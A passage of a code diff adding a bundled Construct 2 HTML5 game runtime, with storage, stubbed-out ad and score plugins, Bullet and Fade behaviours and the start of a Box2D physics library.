+ }
+ }
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.LocalValue = function(ret,key)
+ {
+ if (!isSupported)
+ {
+ ret.set_string("");
+ return;
+ }
+ ret.set_string(localStorage.getItem(prefix + key) || "");
+ };
+ Exps.prototype.SessionValue = function(ret,key)
+ {
+ if (!isSupported)
+ {
+ ret.set_string("");
+ return;
+ }
+ ret.set_string(sessionStorage.getItem(prefix + key) || "");
+ };
+ Exps.prototype.LocalCount = function(ret)
+ {
+ if (!isSupported)
+ {
+ ret.set_int(0);
+ return;
+ }
+ ret.set_int(is_arcade ? 0 : localStorage.length);
+ };
+ Exps.prototype.SessionCount = function(ret)
+ {
+ if (!isSupported)
+ {
+ ret.set_int(0);
+ return;
+ }
+ ret.set_int(is_arcade ? 0 : sessionStorage.length);
+ };
+ Exps.prototype.LocalAt = function(ret,n)
+ {
+ if (is_arcade || !isSupported)
+ ret.set_string("");
+ else
+ ret.set_string(localStorage.getItem(localStorage.key(n)) || "");
+ };
+ Exps.prototype.SessionAt = function(ret,n)
+ {
+ if (is_arcade || !isSupported)
+ ret.set_string("");
+ else
+ ret.set_string(sessionStorage.getItem(sessionStorage.key(n)) || "");
+ };
+ Exps.prototype.LocalKeyAt = function(ret,n)
+ {
+ if (is_arcade || !isSupported)
+ ret.set_string("");
+ else
+ ret.set_string(localStorage.key(n) || "");
+ };
+ Exps.prototype.SessionKeyAt = function(ret,n)
+ {
+ if (is_arcade || !isSupported)
+ ret.set_string("");
+ else
+ ret.set_string(sessionStorage.key(n) || "");
+ };
+ Exps.prototype.AsJSON = function (ret)
+ {
+ if (!isSupported)
+ {
+ ret.set_string("");
+ return;
+ }
+ var o = {}, i, len, k;
+ for (i = 0, len = localStorage.length; i < len; i++)
+ {
+ k = localStorage.key(i);
+ if (is_arcade)
+ {
+ if (k.substr(0, prefix.length) === prefix)
+ {
+ o[k.substr(prefix.length)] = localStorage.getItem(k);
+ }
+ }
+ else
+ o[k] = localStorage.getItem(k);
+ }
+ ret.set_string(JSON.stringify({
+ "c2dictionary": true,
+ "data": o
+ }));
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.gamemonetize = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.gamemonetize.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ var isSupported = false;
+ instanceProto.onCreate = function()
+ {
+ if (!window["gamemonetize"] && !window["SDK_OPTIONS"])
+ {
+ cr.logexport("[Construct 2] GameMonetize.com SDK is required to show advertisements within Cordova; other platforms are not supported.");
+ return;
+ }
+ isSupported = true;
+ this.gamemonetize = window["gamemonetize"];
+ var self = this;
+ this.gamemonetize["onInit"] = function ()
+ {
+ };
+ this.gamemonetize["onError"] = function ()
+ {
+ };
+ this.gamemonetize["onResumeGame"] = function ()
+ {
+ };
+ this.gamemonetize["onPauseGame"] = function ()
+ {
+ };
+ this.gamemonetize["InitAds"] = function ()
+ {
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.IsShowingBanner = function()
+ {
+ return this.isShowingBannerAd;
+ };
+ Cnds.prototype.onInit = function()
+ {
+ return true;
+ };
+ Cnds.prototype.onError = function(data)
+ {
+ return true;
+ };
+ Cnds.prototype.onResumeGame = function(data)
+ {
+ return true;
+ };
+ Cnds.prototype.onPauseGame = function(data)
+ {
+ return true;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.ShowBanner = function ()
+ {
+ };
+ Acts.prototype.PlayLog = function ()
+ {
+ };
+ Acts.prototype.CustomLog = function ()
+ {
+ };
+ Acts.prototype.InitAds = function ()
+ {
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ pluginProto.exps = new Exps();
+}());
+;
+;
+function loadScript(src, callback)
+{
+ var s,r,t;
+ r = false;
+ s = document.createElement('script');
+ s.type = 'text/javascript';
+ s.src = src;
+ s.onload = s.onreadystatechange = function()
+ {
+ if ( !r && (!this.readyState || this.readyState == 'complete') )
+ {
+ r = true;
+ if (callback !== undefined){ callback(); }
+ }
+ };
+ t = document.getElementsByTagName('script')[0];
+ t.parentNode.insertBefore(s, t);
+}
+cr.plugins_.sirg_kiz = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.sirg_kiz.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ var __Kiz10API;
+ var __GAMEID;
+ var __APIKEY;
+ var __FLAGAPI = 0;
+ instanceProto.onCreate = function()
+ {
+ this.kiz_gameid = this.properties[0];
+ this.kiz_APIKey = this.properties[1];
+ __GAMEID = this.properties[0];
+ __APIKEY = this.properties[1];
+ var Kiz10API =
+ {
+ _id: 0,
+ _apikey: 0,
+ apiObject: function () { },
+ init: function (id, apikey)
+ {
+ },
+ submitStat: function (stat, value)
+ {
+ },
+ submitAchievProgress: function (cod_achiev, progress)
+ {
+ },
+ apiLoaded: function () { /*return (this.apiObject ? true : false)*/ }
+ };
+ };
+ function Cnds() {};
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SubmitScore = function (code,codeval)
+ {
+ };
+ Acts.prototype.UnlockAchievement = function (code,codeval)
+ {
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.Bullet = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.Bullet.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ var speed = this.properties[0];
+ this.acc = this.properties[1];
+ this.g = this.properties[2];
+ this.bounceOffSolid = (this.properties[3] !== 0);
+ this.setAngle = (this.properties[4] !== 0);
+ this.dx = Math.cos(this.inst.angle) * speed;
+ this.dy = Math.sin(this.inst.angle) * speed;
+ this.lastx = this.inst.x;
+ this.lasty = this.inst.y;
+ this.lastKnownAngle = this.inst.angle;
+ this.travelled = 0;
+ this.enabled = (this.properties[5] !== 0);
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "acc": this.acc,
+ "g": this.g,
+ "dx": this.dx,
+ "dy": this.dy,
+ "lx": this.lastx,
+ "ly": this.lasty,
+ "lka": this.lastKnownAngle,
+ "t": this.travelled,
+ "e": this.enabled
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.acc = o["acc"];
+ this.g = o["g"];
+ this.dx = o["dx"];
+ this.dy = o["dy"];
+ this.lastx = o["lx"];
+ this.lasty = o["ly"];
+ this.lastKnownAngle = o["lka"];
+ this.travelled = o["t"];
+ this.enabled = o["e"];
+ };
+ behinstProto.tick = function ()
+ {
+ if (!this.enabled)
+ return;
+ var dt = this.runtime.getDt(this.inst);
+ var s, a;
+ var bounceSolid, bounceAngle;
+ if (this.inst.angle !== this.lastKnownAngle)
+ {
+ if (this.setAngle)
+ {
+ s = cr.distanceTo(0, 0, this.dx, this.dy);
+ this.dx = Math.cos(this.inst.angle) * s;
+ this.dy = Math.sin(this.inst.angle) * s;
+ }
+ this.lastKnownAngle = this.inst.angle;
+ }
+ if (this.acc !== 0)
+ {
+ s = cr.distanceTo(0, 0, this.dx, this.dy);
+ if (this.dx === 0 && this.dy === 0)
+ a = this.inst.angle;
+ else
+ a = cr.angleTo(0, 0, this.dx, this.dy);
+ s += this.acc * dt;
+ if (s < 0)
+ s = 0;
+ this.dx = Math.cos(a) * s;
+ this.dy = Math.sin(a) * s;
+ }
+ if (this.g !== 0)
+ this.dy += this.g * dt;
+ this.lastx = this.inst.x;
+ this.lasty = this.inst.y;
+ if (this.dx !== 0 || this.dy !== 0)
+ {
+ this.inst.x += this.dx * dt;
+ this.inst.y += this.dy * dt;
+ this.travelled += cr.distanceTo(0, 0, this.dx * dt, this.dy * dt)
+ if (this.setAngle)
+ {
+ this.inst.angle = cr.angleTo(0, 0, this.dx, this.dy);
+ this.inst.set_bbox_changed();
+ this.lastKnownAngle = this.inst.angle;
+ }
+ this.inst.set_bbox_changed();
+ if (this.bounceOffSolid)
+ {
+ bounceSolid = this.runtime.testOverlapSolid(this.inst);
+ if (bounceSolid)
+ {
+ this.runtime.registerCollision(this.inst, bounceSolid);
+ s = cr.distanceTo(0, 0, this.dx, this.dy);
+ bounceAngle = this.runtime.calculateSolidBounceAngle(this.inst, this.lastx, this.lasty);
+ this.dx = Math.cos(bounceAngle) * s;
+ this.dy = Math.sin(bounceAngle) * s;
+ this.inst.x += this.dx * dt; // move out for one tick since the object can't have spent a tick in the solid
+ this.inst.y += this.dy * dt;
+ this.inst.set_bbox_changed();
+ if (this.setAngle)
+ {
+ this.inst.angle = bounceAngle;
+ this.lastKnownAngle = bounceAngle;
+ this.inst.set_bbox_changed();
+ }
+ if (!this.runtime.pushOutSolid(this.inst, this.dx / s, this.dy / s, Math.max(s * 2.5 * dt, 30)))
+ this.runtime.pushOutSolidNearest(this.inst, 100);
+ }
+ }
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.CompareSpeed = function (cmp, s)
+ {
+ return cr.do_cmp(cr.distanceTo(0, 0, this.dx, this.dy), cmp, s);
+ };
+ Cnds.prototype.CompareTravelled = function (cmp, d)
+ {
+ return cr.do_cmp(this.travelled, cmp, d);
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetSpeed = function (s)
+ {
+ var a = cr.angleTo(0, 0, this.dx, this.dy);
+ this.dx = Math.cos(a) * s;
+ this.dy = Math.sin(a) * s;
+ };
+ Acts.prototype.SetAcceleration = function (a)
+ {
+ this.acc = a;
+ };
+ Acts.prototype.SetGravity = function (g)
+ {
+ this.g = g;
+ };
+ Acts.prototype.SetAngleOfMotion = function (a)
+ {
+ a = cr.to_radians(a);
+ var s = cr.distanceTo(0, 0, this.dx, this.dy)
+ this.dx = Math.cos(a) * s;
+ this.dy = Math.sin(a) * s;
+ };
+ Acts.prototype.Bounce = function (objtype)
+ {
+ if (!objtype)
+ return;
+ var otherinst = objtype.getFirstPicked(this.inst);
+ if (!otherinst)
+ return;
+ var dt = this.runtime.getDt(this.inst);
+ var s = cr.distanceTo(0, 0, this.dx, this.dy);
+ var bounceAngle = this.runtime.calculateSolidBounceAngle(this.inst, this.lastx, this.lasty, otherinst);
+ this.dx = Math.cos(bounceAngle) * s;
+ this.dy = Math.sin(bounceAngle) * s;
+ this.inst.x += this.dx * dt; // move out for one tick since the object can't have spent a tick in the solid
+ this.inst.y += this.dy * dt;
+ this.inst.set_bbox_changed();
+ if (this.setAngle)
+ {
+ this.inst.angle = bounceAngle;
+ this.lastKnownAngle = bounceAngle;
+ this.inst.set_bbox_changed();
+ }
+ if (s !== 0) // prevent divide-by-zero
+ {
+ if (this.bounceOffSolid)
+ {
+ if (!this.runtime.pushOutSolid(this.inst, this.dx / s, this.dy / s, Math.max(s * 2.5 * dt, 30)))
+ this.runtime.pushOutSolidNearest(this.inst, 100);
+ }
+ else
+ {
+ this.runtime.pushOut(this.inst, this.dx / s, this.dy / s, Math.max(s * 2.5 * dt, 30), otherinst)
+ }
+ }
+ };
+ Acts.prototype.SetDistanceTravelled = function (d)
+ {
+ this.travelled = d;
+ };
+ Acts.prototype.SetEnabled = function (en)
+ {
+ this.enabled = (en === 1);
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.Speed = function (ret)
+ {
+ var s = cr.distanceTo(0, 0, this.dx, this.dy);
+ s = cr.round6dp(s);
+ ret.set_float(s);
+ };
+ Exps.prototype.Acceleration = function (ret)
+ {
+ ret.set_float(this.acc);
+ };
+ Exps.prototype.AngleOfMotion = function (ret)
+ {
+ ret.set_float(cr.to_degrees(cr.angleTo(0, 0, this.dx, this.dy)));
+ };
+ Exps.prototype.DistanceTravelled = function (ret)
+ {
+ ret.set_float(this.travelled);
+ };
+ Exps.prototype.Gravity = function (ret)
+ {
+ ret.set_float(this.g);
+ };
+ behaviorProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.Fade = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.Fade.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.activeAtStart = this.properties[0] === 1;
+ this.setMaxOpacity = false; // used to retrieve maxOpacity once in first 'Start fade' action if initially inactive
+ this.fadeInTime = this.properties[1];
+ this.waitTime = this.properties[2];
+ this.fadeOutTime = this.properties[3];
+ this.destroy = this.properties[4]; // 0 = no, 1 = after fade out
+ this.stage = this.activeAtStart ? 0 : 3; // 0 = fade in, 1 = wait, 2 = fade out, 3 = done
+ if (this.recycled)
+ this.stageTime.reset();
+ else
+ this.stageTime = new cr.KahanAdder();
+ this.maxOpacity = (this.inst.opacity ? this.inst.opacity : 1.0);
+ if (this.activeAtStart)
+ {
+ if (this.fadeInTime === 0)
+ {
+ this.stage = 1;
+ if (this.waitTime === 0)
+ this.stage = 2;
+ }
+ else
+ {
+ this.inst.opacity = 0;
+ this.runtime.redraw = true;
+ }
+ }
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "fit": this.fadeInTime,
+ "wt": this.waitTime,
+ "fot": this.fadeOutTime,
+ "s": this.stage,
+ "st": this.stageTime.sum,
+ "mo": this.maxOpacity,
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.fadeInTime = o["fit"];
+ this.waitTime = o["wt"];
+ this.fadeOutTime = o["fot"];
+ this.stage = o["s"];
+ this.stageTime.reset();
+ this.stageTime.sum = o["st"];
+ this.maxOpacity = o["mo"];
+ };
+ behinstProto.tick = function ()
+ {
+ this.stageTime.add(this.runtime.getDt(this.inst));
+ if (this.stage === 0)
+ {
+ this.inst.opacity = (this.stageTime.sum / this.fadeInTime) * this.maxOpacity;
+ this.runtime.redraw = true;
+ if (this.inst.opacity >= this.maxOpacity)
+ {
+ this.inst.opacity = this.maxOpacity;
+ this.stage = 1; // wait stage
+ this.stageTime.reset();
+ this.runtime.trigger(cr.behaviors.Fade.prototype.cnds.OnFadeInEnd, this.inst);
+ }
+ }
+ if (this.stage === 1)
+ {
+ if (this.stageTime.sum >= this.waitTime)
+ {
+ this.stage = 2; // fade out stage
+ this.stageTime.reset();
+ this.runtime.trigger(cr.behaviors.Fade.prototype.cnds.OnWaitEnd, this.inst);
+ }
+ }
+ if (this.stage === 2)
+ {
+ if (this.fadeOutTime !== 0)
+ {
+ this.inst.opacity = this.maxOpacity - ((this.stageTime.sum / this.fadeOutTime) * this.maxOpacity);
+ this.runtime.redraw = true;
+ if (this.inst.opacity < 0)
+ {
+ this.inst.opacity = 0;
+ this.stage = 3; // done
+ this.stageTime.reset();
+ this.runtime.trigger(cr.behaviors.Fade.prototype.cnds.OnFadeOutEnd, this.inst);
+ if (this.destroy === 1)
+ this.runtime.DestroyInstance(this.inst);
+ }
+ }
+ }
+ };
+ behinstProto.doStart = function ()
+ {
+ this.stage = 0;
+ this.stageTime.reset();
+ if (this.fadeInTime === 0)
+ {
+ this.stage = 1;
+ if (this.waitTime === 0)
+ this.stage = 2;
+ }
+ else
+ {
+ this.inst.opacity = 0;
+ this.runtime.redraw = true;
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.OnFadeOutEnd = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnFadeInEnd = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnWaitEnd = function ()
+ {
+ return true;
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.StartFade = function ()
+ {
+ if (!this.activeAtStart && !this.setMaxOpacity)
+ {
+ this.maxOpacity = (this.inst.opacity ? this.inst.opacity : 1.0);
+ this.setMaxOpacity = true;
+ }
+ if (this.stage === 3)
+ this.doStart();
+ };
+ Acts.prototype.RestartFade = function ()
+ {
+ this.doStart();
+ };
+ Acts.prototype.SetFadeInTime = function (t)
+ {
+ if (t < 0)
+ t = 0;
+ this.fadeInTime = t;
+ };
+ Acts.prototype.SetWaitTime = function (t)
+ {
+ if (t < 0)
+ t = 0;
+ this.waitTime = t;
+ };
+ Acts.prototype.SetFadeOutTime = function (t)
+ {
+ if (t < 0)
+ t = 0;
+ this.fadeOutTime = t;
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.FadeInTime = function (ret)
+ {
+ ret.set_float(this.fadeInTime);
+ };
+ Exps.prototype.WaitTime = function (ret)
+ {
+ ret.set_float(this.waitTime);
+ };
+ Exps.prototype.FadeOutTime = function (ret)
+ {
+ ret.set_float(this.fadeOutTime);
+ };
+ behaviorProto.exps = new Exps();
+}());
+var Box2D = {};
+Box2D.Dynamics = {};
+Box2D.Dynamics.Joints = {};
+Box2D.Common = {};
+Box2D.Common.Math = {};
+Box2D.Collision = {};
+Box2D.Collision.Shapes = {};
+function c2inherit(derived, base)
+{
+ for (var i in base.prototype)
+ {
+ if (base.prototype.hasOwnProperty(i))
+ derived.prototype[i] = base.prototype[i];
+ }
+};
+Box2D.Collision.b2Collision = {};
+Box2D.Collision.b2Distance = {};
+Box2D.Common.b2Settings = {};
+Box2D.Common.Math.b2Math = {};
+Box2D.Consts = {};
+Box2D.Dynamics.Contacts = {};
+Box2D.Dynamics.Controllers = {};
+/**
+ * Creates a callback function
+ * @param {!Object} context The context ('this' variable) of the callback function
+ * @param {function(...[*])} fn The function to execute with the given context for the returned callback
+ * @return {function()} The callback function
+ */
+Box2D.generateCallback = function(context, fn) {
+ return function() {
+ fn.apply(context, arguments);
+ };
+};
+/**
+ * @type {number}
+ * @const
+ */
+Box2D.Consts.MIN_VALUE_SQUARED = Number.MIN_VALUE * Number.MIN_VALUE;
+/**
+ * @param {number} friction1
+ * @param {number} friction2
+ */
+Box2D.Common.b2Settings.b2MixFriction = function (friction1, friction2) {
+ return Math.sqrt(friction1 * friction2);
+};
+/**
+ * @param {number} restitution1
+ * @param {number} restitution2
+ */
+Box2D.Common.b2Settings.b2MixRestitution = function (restitution1, restitution2) {
+ return restitution1 > restitution2 ? restitution1 : restitution2;
+};
+Box2D.Common.b2Settings.VERSION = "2.1alpha-illandril";
+Box2D.Common.b2Settings.USHRT_MAX = 0x0000ffff;
+Box2D.Common.b2Settings.b2_maxManifoldPoints = 2;
+Box2D.Common.b2Settings.b2_aabbExtension = 0.1;
+Box2D.Common.b2Settings.b2_aabbMultiplier = 2.0;
+Box2D.Common.b2Settings.b2_polygonRadius = 2.0 * Box2D.Common.b2Settings.b2_linearSlop;
+Box2D.Common.b2Settings.b2_linearSlop = 0.005;
+Box2D.Common.b2Settings.b2_angularSlop = 2.0 / 180.0 * Math.PI;
+Box2D.Common.b2Settings.b2_toiSlop = 8.0 * Box2D.Common.b2Settings.b2_linearSlop;
+Box2D.Common.b2Settings.b2_maxTOIContactsPerIsland = 32;
+Box2D.Common.b2Settings.b2_maxTOIJointsPerIsland = 32;
+Box2D.Common.b2Settings.b2_velocityThreshold = 1.0;
+Box2D.Common.b2Settings.b2_maxLinearCorrection = 0.2;
+Box2D.Common.b2Settings.b2_maxAngularCorrection = 8.0 / 180.0 * Math.PI;
+Box2D.Common.b2Settings.b2_maxTranslation = 2.0;
+Box2D.Common.b2Settings.b2_maxTranslationSquared = Box2D.Common.b2Settings.b2_maxTranslation * Box2D.Common.b2Settings.b2_maxTranslation;
+Box2D.Common.b2Settings.b2_maxRotation = 0.5 * Math.PI;
+Box2D.Common.b2Settings.b2_maxRotationSquared = Box2D.Common.b2Settings.b2_maxRotation * Box2D.Common.b2Settings.b2_maxRotation;
+Box2D.Common.b2Settings.b2_contactBaumgarte = 0.2;
+Box2D.Common.b2Settings.b2_timeToSleep = 0.5;
+Box2D.Common.b2Settings.b2_linearSleepTolerance = 0.01;
+Box2D.Common.b2Settings.b2_linearSleepToleranceSquared = Box2D.Common.b2Settings.b2_linearSleepTolerance * Box2D.Common.b2Settings.b2_linearSleepTolerance;
+Box2D.Common.b2Settings.b2_angularSleepTolerance = 2.0 / 180.0 * Math.PI;
+Box2D.Common.b2Settings.b2_angularSleepToleranceSquared = Box2D.Common.b2Settings.b2_angularSleepTolerance * Box2D.Common.b2Settings.b2_angularSleepTolerance;
+Box2D.Common.b2Settings.MIN_VALUE_SQUARED = Number.MIN_VALUE * Number.MIN_VALUE;
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ * @return {number}
+ */
+Box2D.Common.Math.b2Math.Dot = function (a, b) {
+ return a.x * b.x + a.y * b.y;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ * @return {number}
+ */
+Box2D.Common.Math.b2Math.CrossVV = function (a, b) {
+ return a.x * b.y - a.y * b.x;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {number} s
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.CrossVF = function (a, s) {
+ return Box2D.Common.Math.b2Vec2.Get(s * a.y, (-s * a.x));
+};
+/**
+ * @param {number} s
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.CrossFV = function (s, a) {
+ return Box2D.Common.Math.b2Vec2.Get((-s * a.y), s * a.x);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} A
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.MulMV = function (A, v) {
+ return Box2D.Common.Math.b2Vec2.Get(A.col1.x * v.x + A.col2.x * v.y, A.col1.y * v.x + A.col2.y * v.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} A
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.MulTMV = function (A, v) {
+ return Box2D.Common.Math.b2Vec2.Get(Box2D.Common.Math.b2Math.Dot(v, A.col1), Box2D.Common.Math.b2Math.Dot(v, A.col2));
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} T
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.MulX = function (T, v) {
+ var a = Box2D.Common.Math.b2Math.MulMV(T.R, v);
+ a.x += T.position.x;
+ a.y += T.position.y;
+ return a;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} T
+ * @param {!Box2D.Common.Math.b2Vec2} v
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.MulXT = function (T, v) {
+ var a = Box2D.Common.Math.b2Math.SubtractVV(v, T.position);
+ var tX = (a.x * T.R.col1.x + a.y * T.R.col1.y);
+ a.y = (a.x * T.R.col2.x + a.y * T.R.col2.y);
+ a.x = tX;
+ return a;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.AddVV = function (a, b) {
+ return Box2D.Common.Math.b2Vec2.Get(a.x + b.x, a.y + b.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.SubtractVV = function (a, b) {
+ return Box2D.Common.Math.b2Vec2.Get(a.x - b.x, a.y - b.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ * @return {number}
+ */
+Box2D.Common.Math.b2Math.Distance = function (a, b) {
+ var cX = a.x - b.x;
+ var cY = a.y - b.y;
+ return Math.sqrt(Box2D.Common.Math.b2Math.DistanceSquared(a,b));
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} b
+ * @return {number}
+ */
+Box2D.Common.Math.b2Math.DistanceSquared = function (a, b) {
+ var cX = a.x - b.x;
+ var cY = a.y - b.y;
+ return (cX * cX + cY * cY);
+};
+/**
+ * @param {number} s
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.MulFV = function (s, a) {
+ return Box2D.Common.Math.b2Vec2.Get(s * a.x, s * a.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} A
+ * @param {!Box2D.Common.Math.b2Mat22} B
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Math.AddMM = function (A, B) {
+ return Box2D.Common.Math.b2Mat22.FromVV(Box2D.Common.Math.b2Math.AddVV(A.col1, B.col1), Box2D.Common.Math.b2Math.AddVV(A.col2, B.col2));
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} A
+ * @param {!Box2D.Common.Math.b2Mat22} B
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Math.MulMM = function (A, B) {
+ return Box2D.Common.Math.b2Mat22.FromVV(Box2D.Common.Math.b2Math.MulMV(A, B.col1), Box2D.Common.Math.b2Math.MulMV(A, B.col2));
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} A
+ * @param {!Box2D.Common.Math.b2Mat22} B
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Math.MulTMM = function (A, B) {
+ var c1 = Box2D.Common.Math.b2Vec2.Get(Box2D.Common.Math.b2Math.Dot(A.col1, B.col1), Box2D.Common.Math.b2Math.Dot(A.col2, B.col1));
+ var c2 = Box2D.Common.Math.b2Vec2.Get(Box2D.Common.Math.b2Math.Dot(A.col1, B.col2), Box2D.Common.Math.b2Math.Dot(A.col2, B.col2));
+ return Box2D.Common.Math.b2Mat22.FromVV(c1, c2);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.AbsV = function (a) {
+ return Box2D.Common.Math.b2Vec2.Get(Math.abs(a.x), Math.abs(a.y));
+};
+/**
+ * @param {!Box2D.Common.Math.b2Mat22} A
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Math.AbsM = function (A) {
+ return Box2D.Common.Math.b2Mat22.FromVV(Box2D.Common.Math.b2Math.AbsV(A.col1), Box2D.Common.Math.b2Math.AbsV(A.col2));
+};
+/**
+ * @param {number} a
+ * @param {number} low
+ * @param {number} high
+ * @return {number}
+ */
+Box2D.Common.Math.b2Math.Clamp = function (a, low, high) {
+ return a < low ? low : a > high ? high : a;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} a
+ * @param {!Box2D.Common.Math.b2Vec2} low
+ * @param {!Box2D.Common.Math.b2Vec2} high
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Common.Math.b2Math.ClampV = function (a, low, high) {
+ var x = Box2D.Common.Math.b2Math.Clamp(a.x, low.x, high.x);
+ var y = Box2D.Common.Math.b2Math.Clamp(a.y, low.y, high.y);
+ return Box2D.Common.Math.b2Vec2.Get(x, y);
+};
+/**
+ * @constructor
+ */
+Box2D.Common.Math.b2Mat22 = function() {
+ this.col1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.col2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.SetIdentity();
+};
+/**
+ * @param {number} angle
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Mat22.FromAngle = function(angle) {
+ var mat = new Box2D.Common.Math.b2Mat22();
+ mat.Set(angle);
+ return mat;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} c1
+ * @param {!Box2D.Common.Math.b2Vec2} c2
+ * @return {!Box2D.Common.Math.b2Mat22}
+ */
+Box2D.Common.Math.b2Mat22.FromVV = function(c1, c2) {
+ var mat = new Box2D.Common.Math.b2Mat22();
+ mat.SetVV(c1, c2);
+ return mat;
+};
+/**
+ * @param {number} angle
+ */
+Box2D.Common.Math.b2Mat22.prototype.Set = function(angle) {
+ var c = Math.cos(angle);
